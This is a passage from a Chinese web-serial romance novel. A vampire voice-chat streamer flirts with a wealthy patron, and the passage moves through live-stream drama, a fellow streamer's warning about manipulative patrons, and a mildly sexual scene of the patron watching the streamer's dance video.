[不对不对,哥哥只会欺负我吖!~左哼哼/右哼哼/] 银耳粥:[有吗?什么时候?] 亲亲小耳朵:[有!你说不能叫你舟先生,要叫哥哥,发照片不好看,得看腿照,说药要从你手里拿,又按着我的手摸你的腹肌……] 亲亲小耳朵:[猫猫打滚.jpg] 宁尔越说越脸红,怎么不知不觉间已经和舟先生有这么多接触了。 他把脑袋缩起来,紧张地等着舟先生辩解。 过了几秒钟,舟先生竟然回来一个表情包: [狗狗坏笑.jpg]!!! 舟先生!! 严肃呆板的舟先生,高冷沉默的舟先生,竟然发了表情包!!! 聊了这么久,连默认小表情都没发过的舟先生,竟然也会表情包!! 表情包里那只大金毛毛茸茸的眼睛眯成了一条缝,用一直爪子捂在嘴上微笑。 宁尔甚至感觉透过这张表情包,看到了西装革履的舟先生坐在老板椅上嘴角扬起好看的弧度。 承认欺负他很愉快。 哼。 宁尔一边撅起嘴不满地哼哼,一边又忍不住多看几眼那个小金毛,自己的嘴角也不知道什么时候跟着扬起来了。 注意力再次被拉回直播间,春风哥已经在加码了: “这样,你要是打字在评论区说,我给你3000。直接开麦语音说,翻倍。” 至于哥沉默了一会儿,大家都以为他要直接退出的时候,就听他开口,声音中带着一丝愤恨和隐忍: “语音说,确定6000么?” 评论区:[???] [不是哥们儿你真说啊?] [原来不是仇富,是仇没富到自己身上啊?] [想好了啊哥们儿,这个福袋金额触发录屏的] 春风可能也没想到他会同意,愣了一下: “6000,确定,说了就给。” 整个语音房似乎都凝神屏气,至于哥犹豫了大概五秒钟,咬牙切齿在麦里道: “我是……舔狗,我喜欢粥老板的钱……” 春风与你皆过客:“没吃饭啊?大点儿声听不见。” “……” “我、是、舔、狗,我喜欢粥老板的钱!行了吗?听清了吗?” 他估计是被逗得真恼了,再加上语音房这么多人围观,语气已经恼羞成怒地开始低吼。 春风冷冷地笑了一声:“听见了。” 评论区:[听清了听清了] [两只耳朵都听清了] [太大声了把我家狗吵醒了,赔我点钱吧] 至于哥立马变脸,语气更加尖酸刻薄起来: “这下满意了吗?福袋呢?发啊。” 春风:“别急,当着语音房这么多人面我不可能赖账,就是发之前我想再和你解释一句。” 春风:“小耳朵第一次来直播间的时候,什么都不会。我们大家一路见证他从说话结结巴巴,到今天能大着胆子唱完一首歌。” “至于粥哥和小耳朵的互动,从他第一天试播差点过不了关,到他被忽然拉起来打pk差点挤走,到今天一起和大家听小耳朵唱歌——” “粥哥对小耳朵的存在,绝不只偶然玩玩路过砸钱或者目的明显的爽交易。 语音房的家人们之所以喜欢他俩,磕他俩cp,更是因为大家真心实意喜欢小耳朵,是每天夜晚的习惯陪伴,是看到喜欢的人被用心守护的开心。” “这种感情,是你这种张口闭口拜金舔狗的人永远不会理解。” 春风说完这一大堆话,整个评论区瞬间炸了。 [哇哇哇这还是我认识的那个春风吗?] [我去,春风哥口才芥末好?] [春风哥接单吗?明天帮我二舅公的老舅妈吵架去。] [新来的,房主家的路不平啊,因为有石粒啊!] [春风哥你好帅我要给你生猴子] [呜呜呜春风你懂我们!就是这种感觉!] [对的对的,春风哥简直嘴替,cp粉真情实感流y了。] [本来不是很粉,现在粉上了呜呜呜。狠狠get了。] [拿了6000块还能学习做人,哥们儿你赚大了] [拿了钱赶紧走吧,别做喷子了] 评论区各种讨论,至于哥还在麦上等福袋,春风也没违约,真的给他发了个写了“6000”的福袋。 至于哥不知道等了这一刻多久,立马迫不及待地开麦,整个人像疯了一样,语调极其扭曲、恼羞成怒: “你上过几年学啊也配给我讲道理?现实中也就是个厕所里抽五毛钱烟的黄毛吧?说了怎么了?录屏怎么了?我又不是主播,我直接提现反手注销账号重新注册你不炸了吗?呵呵,傻X……” “你他妈敢耍我???!!!草!!!!钻石……碎片?” 他边反骂边点开了福袋,是6000没错,但根本不是现金!!! 是最普通不能提现的钻石福袋,甚至都不是钻石,而是钻石碎片!10个钻石碎片才能合成一个钻石! 春风接过麦: “我只说6000,没说6000什么。” “就你这智商,黄毛都懒得搭理你,踢了。” 春风说完就果断把人拉黑屏蔽禁止进入直播间一条龙。 评论区:[哈哈哈哈哈吓死我了,差点让他富了] [真有你的春风,真有你的] [6000个钻石碎片这得兑到什么时候去] [简直爽文,反转得我乳腺都畅通了] 春风:“我再重申一遍,我这人护犊子。大家来软件玩都是找乐子的,谁再在我直播间里骂我的兄弟、大哥、大姐、小弟、小妹,直接踢。” 宁尔正沉浸在这一出精彩迭起的戏当中,春风哥骤然停了麦,宁尔愣了一下,在麦上有些期待的问: “春风哥,我也是你的犊子吗?” 其实他不知道犊子是什么意思。 [?] [哈哈哈哈哈哈] [笨萌地很稳定了宝宝] [你是!你是我们所有妈粉的崽崽!最可爱的崽崽。] 原来,犊子也是崽崽的意思。 坏春风,也偷偷给鬼当爸爸。 宁尔有些不好意思地挠了挠头: “刚刚谢谢舟先生的福袋,谢谢春风哥的出手相助,谢谢其他麦位的兄弟” “最重要的,是也谢谢一直以来守护我的你们。” 宁尔是一个完完全全的新主播,他不太清楚观众、或者那些直接把名字改成“守护小耳朵”的粉丝们到底是一种什么感情。 刚刚被春风哥说完,好像才慢慢意识到这份感情的重量。 早在好几百年前,吸血鬼和人类斗得不可开交。 后来的几百年里,他们和人类签订和平条约,互不干涉。 而今天…… 他一个小吸血鬼竟然会被这么多人类喜欢…… 亲亲小耳朵: “宝们,我给你们鞠个躬吧。虽然你们看不到,但我真的会鞠哦。” [哎呀不要不要小耳朵你干嘛] [我们喜欢你又不是喜欢你鞠躬] [是啊是啊,我们喜欢你给你刷礼物,你也给我们带来了欢乐和陪伴。都是双向奔赴。] [我们也喜欢粥哥啊,要不你让他也给我们鞠一个?] 宁尔愣了一下:“舟、舟先生鞠躬吗?” [对,但不是对着我们,对着你吧。] [对对,你俩对着一起鞠。] [对,一个还不够。] 宁尔:“一个还不够吗?那、那得鞠几个?” [三个] [三个] [三个] 评论区都是说三个的。 难道这是人类默认感谢的标准规则? [小耳朵你家里有没有红布啊?先盖在脑袋上。] “红布吗?我只有一条红色的短裤……” “鞠躬我这里倒是没有问题,可是舟先生不一定愿意……” 宁尔正有些为难,舟先生忽然在评论区发: [笨蛋。] “咦呜?” 舟先生的这句“笨蛋”让评论区笑得更大声了,成片成片的“哈哈哈哈哈哈哈”,他们好像在合起伙来逗自己和舟先生。 还有人开始起哄: [粥哥她们欺负小耳朵你管不管] [这还能忍?粥哥开麦~] [粥哥上麦吧] [支持粥哥上麦] [哇哇哇真的能dream一个粥老板上麦吗] [重筹求粥老板上麦,我出一个墨镜!] [哈哈哈哈那咱还是别自取其辱了] [等等,我想到一个。咱们没点关注的都给小耳朵点个关注,这样总能打动粥老板的心] 宁尔看到大家的起哄愈演愈烈,有点着急: “不用了不用了宝们,舟先生他不方便开麦的。” 她们可能不知道,舟先生连和他聊天都是一个字一句话的,怎么可能在这么多人的语音房里上麦。 “宝们我们换个话题吧,要不要我再唱首歌……” 宁尔话音未落,头像上忽然发来一条上麦申请。 银耳粥。 舟先生! 舟先生竟然愿意上麦了! 宁尔咽了口口水,手指有些颤抖的点了同意。 舟先生不仅出现在了他旁边的位置,还换了头像! 一个黑乎乎背景里的一轮月亮。 宁尔仔细看着那个头像,月亮旁边的一角楼十分眼熟,好像、好像就是自己的这个出租屋楼。 这是舟先生昨晚拍的。 这是一个只属于他俩的小秘密。 舟先生一上麦,评论区和宁尔一样激动地哇声一片,都在催促开麦和期待舟先生的声音。 评论区滚动了一会儿,舟先生打开麦,简单地说了一句: “喂。” [我去,好年轻的声音啊!] [不是老头不是老头] [青叔音,最多35。] [悬着的心终于放下了] [粥老板是霸总吧?只有霸总才这么高冷。] [是我的错觉吗?怎么感觉粥老板的麦都比别人清晰呢] [不是错觉,耳机质量好] [哈哈哈哈是啊,哪像小耳朵说话都带电流了] 舟先生完全不擅长在这种场合说话,简单地“喂”了一个字就沉默了。 宁尔怕他尴尬,赶紧教他: “舟先生,你不要紧张呀~可以和大家打个招呼自我介绍一下,比如说大家好,我是你们的亲亲小耳朵~” [哈哈哈哈哈他还教上别人了] [忘如本] [有没有可能人家粥老板不是紧张纯高冷呢] [银耳粥(恩师小耳朵)] 亲亲小耳朵:“不想自我介绍的话也行,随便说点什么就好。或者念感谢礼物也行……” 宁尔替舟先生急得不行,已经开始胡乱说鬼话了。 让舟先生一个在A市市中心高楼里办公的大老板念一块两块的感谢礼物…… 被自己笨笑了。 宁尔还想说什么,只听到那边沉默了一下,紧接着声音贴近麦,用无比清晰深沉的嗓音道: “大家好,我是小耳朵的舟先生。”—— 作者有话说:明天上架子不更新,今天继续跟粥总评论掉落红包! 第24章 小心这个舟先生是渣男。…… [“自我介绍”] [霸道大哥, 实力护主播] [怎么感觉粥哥语气有那么一丝丝宠溺呢?] [第一次听到大哥反向介绍好甜啊啊啊啊] [不是我说,只听声音都觉得粥哥长得又贵又帅] [这是结婚宣言吧?] [+1] [弥补了不能线上结婚的遗憾] 宁尔看着飞速滑动的评论区,粉丝们说的话越来越歪, 怎么还他和舟先生结婚的玩笑了。 宁尔吓得咂舌, 赶紧道: “感觉舟先生的人气很高呢~要不要再继续和观众宝们聊聊呀?” 粥先生并没有拒绝:“嗯。” 亲亲小耳朵:“呃、聊, 聊什么呢让我想想……” 亲亲小耳朵:“春风哥你说应该聊什么呢……” 房主经验为0的小耳朵,此刻仿佛小心翼翼地夹在粉丝观众和舟先生之间, 一时间难以控场。 春风直接接过了宁尔的麦: “简单啊, 这样吧, 粥哥的时间肯定也很宝贵, 我倒数三个数, 大家把想问粥哥的问题打在公屏上,挑三个来一波快问快答怎么样?” 快问快答, 语音房里很常见的互动游戏。 语音房里此刻对银耳粥这个神秘大哥充满了神秘的想象,都是一片同意声。 春风:“行吗粥哥?不想回答的问题可以不答,但只要回答就必须是真话。” 银耳粥:“嗯。” 春风:“爽快粥老板。” 春风:“开始了啊,3、2、2.5、2.3……1!” 1的话音刚落,屏幕上已经出现了几十条各种各样的问题。 春风:“好!提问结束, 第一个问题是……粥老板是哪里人???” 春风:“不是这是什么问题啊?我们这是同城直播语音房,能是哪里人?你来找老乡啊?” 不知道是谁的问题,正好卡在了被抽取的有效问题的第一个,引起评论区哈哈哈哈哈一片,还有说他浪费提问机会的。 舟先生等春风安静下来, 认真回答: “我是A市人, 现在也在A市。” 春风:“第二个问题,为什么来玩缘来app?” [怎么又是一个无语问题] [有钱大哥玩个app放松放松还有什么为什么?] [这让人怎么答……] 银耳粥:“为了和亲亲小耳朵聊天,来看他直播。” 舟先生的语气十分认真, 认真到叫了小耳朵的昵称全名。 [!!!] [!!!] [传说中的大富大贵出情种??] [爱磕cp的小女孩今夜狠狠幸福了] [我的妈呀,要是有大哥这样对我我都想嫁给他了……] [支持出国领证!!] 春风:“咳咳,好的,第三个问题:粥哥见过小耳朵吗?” [好奇!] [同好奇!] [粥哥见过的话能不能说说小耳朵长啥样啊hhh,头像特效太重了看不清] [是的,是不是比头像还漂亮啊] 银耳粥的麦随着呼吸声轻轻跳动了两下: “没有。” [啊,还没见过] 三个问题全部回答完毕,观众们对舟先生没见过小耳朵这件事儿并不算惊讶。 毕竟缘来的本质还是语聊app,线上的陪伴能有不一样的感情已经弥足珍贵了。 有的大哥大姐刷了小一百万都没见过主播,连最后的告别也是泪洒直播间。 过了12点,小耳朵和舟先生一起下了麦。 这是宁尔和春风约好的,毕竟他还是舟先生下单的私人虚拟恋人。 后面的时间就是舟先生的专属啦。 宁尔离开了语音房,来到个人主页一看,短短一个晚上自己又涨了两千多粉丝。 宁尔又去看了一下舟先生的账号,他的粉丝竟然也有一万多了! 原来舟先生在这里也这么有魅力吗? 不过他的关注列表还是只有一个人。 亲亲小耳朵。 宁尔心里莫名其妙扬起一点儿虚伪的骄傲,不自觉地扬了扬嘴角。 他刚打算找舟先生切回私聊,忽然看到一条新鲜的等级很好的女生头像私信: [小耳朵,我是追了你几天直播的观众,我有事情和你说,一定要回我!!] 宁尔点开她的头像,注册时间已经两年了,40级,已经算大主播了,而且ID宁尔也有些眼熟。 宁尔被她的话勾起了好奇心,打字回复: [你好,什么?] 抹茶小方:[谢天谢地小耳朵你回我了。] 亲亲小耳朵:[我对你的ID有印象,宝。] 抹茶小方:[嗯嗯嗯,那就好,我一直有蹲你的语音房。我想问你一下,银耳粥和你真的只是在这个软件认识的吗?] 亲亲小耳朵:[是的,怎么啦?你认识粥先生吗?] 抹茶小方:[不认识。我只是想提醒你,如果他只是单纯在这里认识你,你就要小心了。因为他今天说的话和他的表现,真的太像渣男了。以前他对你好的表现就算了,今天他说什么来这里只是单纯为了你,这个话术我简直太熟了。] 宁尔看到渣男这两个字不像好词,刚皱起眉,就看到抹茶小方道: [你放心,我发誓绝对不是因为嫉妒你或者想挖大哥故意挑拨的,只是我自己吃过的苦和流过的泪,不想眼睁睁看你走我的路。] 宁尔沉默了一下:[抹茶宝,你身上发生了什么?] 这句话好像牵扯到了抹茶内心的伤痛,她直接给小耳朵发来几条长语音,给她讲了起初她也只是把缘来当成一份工作,告诫自己不能动感情。 结果后来遇到一位大哥,不仅仅是点单送大额礼物,还对她的生活有着无微不至的关心。 常年占据着语音房的榜一,帮她打赢一场场pk,还对所有观众宣布来这里只为守护抹茶一个人。 宁尔听到这句时候心里好像被一只手攥着无声地牵动了一下,他也仿佛预感到了接下来故事不好的发展方向,轻声问: [然、然后呢?] 抹茶小方:“然后我就动真感情啦,害,人嘛,心都是肉长的。最开始他下我的单都得排队,后来不知道从哪天开始,我忽然发现,那个每天期待知道他的动态、和他聊天的人竟然变成我了。” [再、再然后呢?] 宁尔问的声音更小了。 抹茶小方似乎在回忆里彻底崩溃了情绪,过了几分钟才声音带着哽咽回答: “然后呀,然后他就问要不要奔现,我就满怀憧憬答应啦,结果奔现没多久,他就对我渐渐不耐烦起来,我为了他全平台退网,他却重新在其他直播软件做别人的大哥。” 宁尔心狠狠咯噔了一下。 这种被牵扯地下坠感让他呼吸一时间变得有些急促,不得不把床板掀开,大口呼吸着空气。 好不舒服的一种的感觉。 氧气让宁尔心跳稍稍平稳了一些,他打字道: [抹茶宝,摸摸头。] [毕竟……都过去啦。] [渣男!他就是一个头头尾尾的大骗子!不可以再为他哭泣啦!] 抹茶不知道是不是被他逗笑了,哭够之后叹了口气: “恰恰相反。我们相处了一年,我确信,这一年里他是有过真心的。” “可就算是真心,也转瞬即逝。这也是我想提醒你的。” “银耳粥是有钱人,甚至有钱到我们没办法想象的程度。” “送送礼物花花钱就能得到的感情,对他来说,成本太低了。哪怕有一天分开了,对于彼此的痛苦程度也并不一样。” “所以……” 宁尔不由地皱起两条眉毛,严肃认真地思考着这个问题。 抹茶小方说得已经很委婉了,但她的亲身经历已经足够让宁尔听懂。 可是…… 可是…… 抹茶小方担心错人了! 舟先生才是那个可能被玩弄感情的人呀…… 他从头到尾都是一个来这里网恋骗钱的小骗子而已…… 发性感腿照、卖惨膝盖受伤、用成本2元钱的玫瑰花变魔术、每天说早安晚安、让舟先生给他点外卖,都只是他取悦舟先生和他网恋的手段而已。 虽然人类世界也并不在意爱情的双方是否都是同性—— 可他不是人。 吸血鬼与人类之间隔着时空、物种的鸿沟,再多的金钱也无法填平近乎永恒的生命与短暂年华之间的深渊。 假如,假如舟先生甚至喜欢上了宁尔,甚至是一辈子,但对宁尔来说,也只是漫长生命中的一小小小段时光而已。 更何况,也许某一天他就能回到自己的世界、彻底人间蒸发了。 不行不行。 舟先生不能爱上他。 抹茶小方又嘱咐他几句,宁尔听地很心虚,打字速度都变慢了。 亲亲小耳朵:[抹茶宝,你说,舟先生想怎么玩弄我呢?] 抹茶小方:[……也不是一定玩弄啦,只是让你小心。一种情况就是像我那样,关心砸礼物上头很快地谈恋爱。] 亲亲小耳朵:[那另一种呢?] 抹茶小方:[另一种就是馋你身子呗,想睡你。] 宁尔看到这么露骨的话吓了一跳,瞬间面红耳赤。 吸血鬼王室讲求优雅传统,未成年之前都没有鬼敢当着他们的面接吻。 他连男鬼和女鬼的手都没拉过,忽然看到人类的“睡你”,一瞬间好多奇怪害羞的画面钻进鬼脑子里。 宁尔表示知道了,和抹茶小方礼貌道谢后有些心事重重地切回和舟先生的聊天对话框。 舟先生对他,会是哪种想法呢? 如果是想……睡他,那就很简单了,他躲起来不睡就好啦。 如果是感情…… 感情看不到、摸不着,躲都躲不了。 宁尔正在有些苦恼地走神,就看到舟先生发来了消息: [刚刚贸然上麦,没有给你带来什么不便吧?] 亲亲小耳朵:[没有没有。] 亲亲小耳朵:[大家都很喜欢舟先生。] 亲亲小耳朵:[舟先生刚刚才说的话……很好。] 傅宴舟看着屏幕上这两句客气的“舟先生”,忍不住笑了笑。 他发现一个规律,小耳朵脑子可能转得慢一点儿,每次刚下麦时候大多切换不过来,还会叫舟先生。 等哪句被他逗着了,才会声音软软地改成哥哥。 亲亲小耳朵:[刚才没有耽误舟先生的时间吧?] [今天的确有个跨国视频会议,我调整了发言时间,稍等二十分钟。] 啊…… 舟先生都为了自己影响工作了吗…… 时间不早了,宁尔也有些累了,他重新把床板拉上躺回床里。 要不,干脆直接问问舟先生吧? 舟先生,你是喜欢我,还是想……睡我? 不行不行。 不仅会把舟先生气跑,可能元之知道了都会骂鼠他。 他固然是不想让舟先生喜欢上自己, 但还是更害怕骗不到钱。 真坏啊,小耳朵。 宁尔在床板里艰难地翻了个身,忽然想到一个办法。 有了。 二十分钟后,舟先生准时开完会回来。 随便聊了几句别的,舟先生忽然问: [今天心情不好?] 宁尔心一虚,不知道舟先生怎么感知到他的情绪变化,赶紧打字: [没、没有呀~舟先生为什么这么问?] [是因为我没有叫哥哥吗?哥哥~] 银耳粥:[。] 银耳粥:[怎么了?有人和你说什么了?]!! 宁尔吓了一跳,差点把手机扔了。 也太聪明了,舟先生。 心里隐约的不安情绪被舟先生戳破,却仍愿意温柔地问他怎么了。 宁尔感觉心情稍稍平静了一点儿,心一横直接戳着手机键盘打字问: “舟先生,现在有一个选择题需要你做一下。” 银耳粥:[你在准备成人自考?] 亲亲小耳朵:[……不是。] 亲亲小耳朵:[这对我来说很重要,认真点舟先生,拜托了。鞠躬/鞠躬/] 银耳粥:[说吧。] 亲亲小耳朵:[如果给你两个选择,一是从今以后每天我都对你说早安、晚安;二是看我激情辣舞……你会选择哪个?] 宁尔感受了一阵自从和舟先生聊天起来最漫长的沉默。 沉默地他都得时不时刷新一下屏幕,确保没有被他再举报。 这已经是他能想到最好的方法了。 如果选择每天早安晚安,就证明舟先生更看重感情; 如果选择激情辣舞,就说明舟先生馋他身子。 天才小耳朵! 银耳粥:[不选。] 宁尔愣了一下: [都、都不想要吗?] 银耳粥:[我最讨厌做选择。] 亲亲小耳朵:[唔……这样啊……] 亲亲小耳朵:[对不起啊舟先生,让你最讨厌了。] 亲亲小耳朵:[可是就当是我球球你,就选一次好不好鸭?球球你啦~] 宁尔表面花式求求,内心却很紧张,紧张到连连打错字。 过了一会儿,可能是太过无语,也可能是感受到了宁尔的迫切,舟先生最终还是配合了他。 银耳粥:[激情辣舞] 宁尔看着屏幕一愣,然后心里缓缓地松了口气。 还好,还好。 舟先生只是馋他身子想睡他,不是喜欢他。 宁尔在床板里重重地呼了口气,利落地打开相册,把很久之前为了骗舟先生50块礼物时,录的那个辣舞视频发了过去。 也不知道舟先生看了之后是什么感觉…… 虽然以前发辣舞视频也是为了勾引,现在知道舟先生真的有这个想法之后,宁尔脸上烫得更厉害了。 两分钟的视频,舟先生足足看了五分钟。 宁尔脸烫得厉害,不好再主动问什么,下一秒,舟先生的语音电话直接响起来。 “甜蜜恋爱来电啦~甜蜜恋爱来电啦~” 手机边震动边播放音乐,在黑暗中显得格外诡异。 是不是舞蹈太辣,把舟先生给辣爽了? 宁尔的手都快被震麻了,心里砰砰砰跳了几下,缓缓按下接听键: “喂、喂?” 舟先生:“辣舞我看完了,跳得不错,还有进步空间。视频拍摄画质不够清晰,换台设备整体效果会更好。” 宁尔:“啊?……啊。” 即兴点评。 宁尔:“好、好的舟……” “时间不早了,要不要睡觉?”舟先生打断了他。 宁尔:“要、要睡。” 舟先生:“嗯,我也是。” 舟先生低沉的声线贴着手机传来,沉稳从容中不容置疑: “现在可以说晚安了。” 宁尔呼吸一滞:“什、什么晚安?” 男人的声音里没有半分意外,充满磁性的嗓音里混合着轻微的理所当然: “你自己说的,从现在起,每天说早安、晚安。” “亲口说。” “可、不是……我……” “可是舟先生您明明已经选择了辣舞……” 舟先生:“我刚才说过,不喜欢做选择题。” “关于你的,都要。”—— 作者有话说: 傻宝我真不忍心看你变着花样地送上门被傅总欺负了hhhh 最近一直减肥还胖了两斤,想来想去是因为老婆们灌溉的营养液喽~(虚伪骄傲扬嘴角) 第25章 我忽然很想你。…… 舟先生的声音向来沉稳认真, 不容辩驳。 哪怕是在欺负人的时候,也很难听出什么玩笑的口吻。 宁尔“我、我、舟、舟”了半天之后,心虚理亏地闭了嘴。 他一个小吸血鬼, 胳膊拧不过大腿。 难不成还要拒绝或者威胁金主爸爸吗。 “那、晚、晚安。”不叫哥哥是他最后的反抗。 舟先生:“晚安什么?” “晚安舟先生。” 生硬、刻意。 舟先生隔着电话轻笑了一声, 也没急着反驳纠正, 像是看透了小朋友刻意的脾气把戏,耐心地等着。 哼。 宁尔在心里偷偷哼了一声, 把手机放到枕边, 闭上眼睛, 纤长的睫毛随着呼吸轻微颤动, 嘴唇轻轻朝着手机听筒: “晚安哥哥~” 舟先生:“嗯。” “早安不用刻意早起或者等我的时间, 你什么时候醒来,什么时候早安。” 宁尔:“……” 宁尔:“嗯哼~” 舟先生的语调又温柔了一些: “早点睡吧。” “晚安, 小耳朵。” 舟先生的手机太好了,音质清楚地通过话筒传导到耳朵里,惹得宁尔耳朵一酥,心里痒痒的。 坏人- 傅宴舟挂了电话,重新点开那段已经保存了的视频。 视频里小耳朵依旧没有露脸, 人到屏幕的距离刚好拍不到脸,只能在暧昧的灯光下偶尔勾勒出一点尖下巴的轮廓。 视频里少年宽松的黑色T恤领口微松,露出一截若隐若现的漂亮锁骨。 慵懒的英文女声音乐响起,少年的纤细腰肢跟着节拍扭动了几下,虽然感觉有些生涩, 但节律感很好。 他有舞蹈天赋。 音乐逐渐加强, 少年白皙的指尖搭在自己的喉结处,又从颈侧缓缓滑下,反手向下, 最后随着律动停止。 傅宴舟重重地倒吸了一口气。 鼓点动感到最高点,少年把两手交叉搭在骨头,随着鼓点配合着腰肢扭动逐步上移。 白皙纤瘦的手指骨节分明,腕骨处因为瘦削突起。 手指修长地摸动侧腰T恤,手腕翻转,掀起了衣服的一角,一小截白皙的侧腰。 腰身匀称柔软,瘦削却没有瘦骨嶙峋。 傅宴舟搂过。 舞蹈视频的最后小耳朵再镜头前跪姿ending。 锁骨到脖子处隐约染上了一层淡淡的红晕。 傅宴舟浑身燥热得厉害,摘下金丝边框眼睛,漆黑深沉的眼眸中的欲望无处遁形。 他径自走到浴室,脱掉真丝睡衣,手指拨开淋浴控键,任由冷水从头到脚哗哗浇落。 常年的威严形象,衬衫扣到最上方一粒纽扣和那副金丝边框眼镜让所有人误以为他是禁欲的代名词。 其实恰恰相反。 最血气方刚的年纪,性.欲与关乎傅家百年家族企业的生死商战相抵牾,身边一百个人有一百零一个带着目的。 欲望成了最不值一提的事。 重压褪去,无尽的欲望裹挟着漫无目的的空虚如潮水般袭来。 从第一次在魔幻的网络世间看到小耳朵那张过度特效美化的脸,到刻意笨拙露出的肩头、锁骨—— 视频里裸露匀称的细腰和那夜轻拥的触感在脑海中交织, 从第一眼就勾动了堂堂傅总暗藏在心中的不可说。 傅宴舟在水流的冲击下眯起眼睛,胸膛薄肌毫不遮掩地随着呼吸起伏。 冷水浇流降不下身体的温度,傅宴舟手臂下移,略带痛苦地闷哼一声- 宁尔稳稳安睡了一整夜。 他以前明明是昼夜颠倒的,昨天听过舟先生说晚安之后,也不知道有什么魔力,竟然也真的睡着了。 糟糕糟糕。 昼伏夜出是吸血鬼的优良传统,他可不能被人类同化。 元之今天出奇地起得早,早上10点多就给他发消息了。 宁尔抱着一杯奶茶去他房间: “元之哥,早……早啊。” 差点说了早安。 早上他和舟先生说早安时候又被欺负了。 舟先生说,只能和他一个人说早安晚安。 如果能做到的话,就每天给他点一杯好喝的奶茶。 哼,一杯奶茶而已,就想限制他的鬼身自由吗? 啊,真香~ 爆爆珠,嚼嚼嚼。 椰果,嚼嚼嚼。 血糯米,没有血,tui。 “元之哥,你怎么起这么早呀?” 元之一脸憔悴,黑眼圈比眼睛都大,胡乱地抓了抓自己的脑袋: “我还没睡呢。碰到一个傻X撬我大姐,和他打了一晚上PK,一毛没赚还他妈赔进去5000多。” “PK还会赔钱吗?”宁尔瞬间睁大了眼睛。 赚不到钱可以,赔钱万万不能。 “不是必须的,哎看你吓的,奶茶还有吗给我喝一口,渴死了。” 宁尔看着自己手里仅剩的一小口: “抱歉元之,只有一杯,我现在马上再给你点一杯。” 陈元之摆摆手: “得了得了,大早晨的,你随便帮我点个早餐得了。” “千万别点鸭血粉丝汤啊!!” 陈元之说完就一屁股歪倒在那个破沙发里了。 宁尔笑了笑: “放心吧元之哥,我现在已经不爱吃那个了。” 自从他有了舟先生这个大哥之后,宁尔就再也没缺过血包,恨不得每次当做自助餐喝,还给了中介好几万块当基金。 宁尔很快帮陈元之点好了早餐,元之扬了扬下巴: “你衬衫口袋里的花哪儿来的?” 宁尔的白衬衫胸口口袋里别着一朵漂亮的红玫瑰,花瓣层层绽放,上面还带着露珠未干的痕迹。 宁尔兴奋的指了指花: “元之,是真花!我第一次收到真的玫瑰花!是点奶茶送的。” 陈元之挑了挑眉: “点奶茶送玫瑰花?今天几号?哦,可能是快七夕了。” “现在的商家真会搞噱头。戴着吧,玫瑰花的颜色很衬你,更漂亮了。” 陈元之毫不吝啬对宁尔的颜值夸赞,宁尔不好意思地笑了笑。 陈元之:“奶茶谁给点的?又是那位舟先生?” 陈元之也看了33万那场直播的回放,知道了舟先生的大名。 “嗯。”宁尔点头。 “每天都点?” “差不多……” “哎呦呦”陈元之看着宁尔那副有些害羞别扭的模样,装模作样捂住嘴巴假装牙疼: “我也不用喝奶茶了,听这些都够甜了。” 宁尔抿了抿唇: “对了元之,你还没说怎么赔钱的。” 陈元之一想起来就又生气,告诉他昨晚有个男的撬他的金主大姐,不知道谁起哄让他俩打PK。 其实大姐根本没有说过谁输谁赢会怎么样,就是陈元之自己上了头,觉得都是男人,输给一个公然挖墙角的得多没面子,于是偷偷用小号给自己砸钱,除了收回本金之外还赔了5000。 “最后呢?赢了吗?” “输了啊。” “啊……可是都砸了那么多……” “害,真正的仇家打起pk上头了这点儿米都不够看的。” “不是每个人都能那么幸运,第一场PK就遇到66万帮忙封场。你可一定得抓住他啊小耳朵。哥哥们的幸福都托付在你身上了。” “……我、我尽量……”宁尔有点儿心虚。 “对了元之哥,我想问你一个问题。” “说。” 宁尔故意凑近了一点儿,有些不好意思问: “元之,如果一个人,一个人,既对你有感情,又很想……睡你,TA是不是有什么问题呀?” 陈元之忍不住抬起脑袋盯着宁尔。 有钱之后剪裁打理利落的漂亮的棕色自来卷,纤长泛着浅金的睫毛,唇红齿白的精致脸蛋问出这种让人难以置信的问题。 “他没有问题,但你有没有我不好说。” 宁尔:“……” “那他的目的是什么呢?”宁尔还不死心。 陈元之看着宁尔认真回答: “这两种情况单独出现都不好说,一起出现就很简单了。” “什么?”宁尔眼睛亮了亮。 还是元之见多识广、无所不知。 “他想让你给他当老婆。怎么了,银耳粥要和你奔现啊?” “元之!……” 陈元之说哇哈哈哈大笑起来,宁尔的尖翘的小脸儿上瞬间染上一层红晕。 陈元之笑够了米粉也到了,他边大口嗦粉边含糊道: “如果银耳粥大哥真像你说的这样,那他是个好人。” “不过这种有钱人经常换主播也是有可能的,你就千万别答应他奔现,不管他砸多少钱都别答应奔现。就先吊着他,吊到他自己都打算放弃再说。” “哦……” 宁尔小声回答了一声。 元之不知道他都已经差点被舟先生在自己屋子里看光了。 陈元之吃过饭,又拿起一个瓶子往手里倒了两颗软糖一样的东西,丢进嘴里嚼。 那两颗软糖色泽金黄,Q.Q弹弹的,看起来很美味。 自从喝过奶茶之后,宁尔对人类的零食很有兴趣。 他深长脖子看,陈元之却直接拧好盖子把瓶儿放回去: “不是糖,助眠药。你不能吃。” “小馋猫。” 咦~ 宁尔浑身冷麻地小小哆嗦了一下。 “那你今晚不播了吗?不播的话,大姐怎么办呢?” 陈元之困意袭来,打了个哈欠: “这你就不懂了吧?不仅今天不能播,未来三天也不能播,等到大姐烦躁了后悔了沉不住气了再来找我,这就稳了。” “这几天大姐不仅不会喜欢上那个新主播,说不定还会因为新主播而失去我暗暗恨他。” “这就叫吊着,成年人的游戏,比得就是谁先上钩。” 宁尔惊讶地稍稍张大了嘴,满眼崇拜地看着面前这个穿着背心短裤的大男孩。 去年他和靳伟每天在工地扛水泥被拖欠工资饭都吃不起,都是靠陈元之当网聊主播赚钱养着的。 原来不仅仅是叫宝宝宝宝这么简单。 偶像。 外面天阴得厉害,风把窗外的树叶吹得哗哗作响,陈元之瞥了一眼窗外,摇摇晃晃打了个哈欠: “今天好像有暴雨啊,你记得别出门了。” “我去睡了,天塌了也别叫我啊。”- 晚上10点宁尔又满怀期待地进入了直播间。 他今天还没开播粉丝又多了不少,春风告诉他现在上了月度新星主播榜,排名还很靠前。 春风说,月榜靠前就可以上季度榜单,如果表现还是很好,热度还是很高,甚至可以成为年度红人。 年度红人就相当于这个软件里的小明星了。 名字和语音房会一直出现在首页,90%的观众都会进来看一会儿,曝光越高,粉丝就越多。 粉丝越多,大哥越多,甚至可能被平台签了或者接广告。 那时候的米就不是玫瑰花墨镜这种小礼物能比得了。 春风说很多人都是加了工会团队,运营到了新星榜上,像宁尔这样纯靠大哥砸钱的好运气野路子很少。 所以,一定要坚持播下去。 